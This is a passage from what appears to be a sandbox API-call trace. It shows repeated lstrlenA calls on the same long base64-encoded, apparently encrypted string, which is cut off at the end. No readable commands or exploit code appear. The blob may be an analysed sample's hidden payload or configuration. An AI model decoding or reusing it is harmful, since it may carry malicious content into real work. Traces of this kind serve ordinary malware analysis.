(lpString="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") returned 5792 [0128.360] lstrlenA (lpString="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") returned 5792 [0128.360] lstrlenA (lpString="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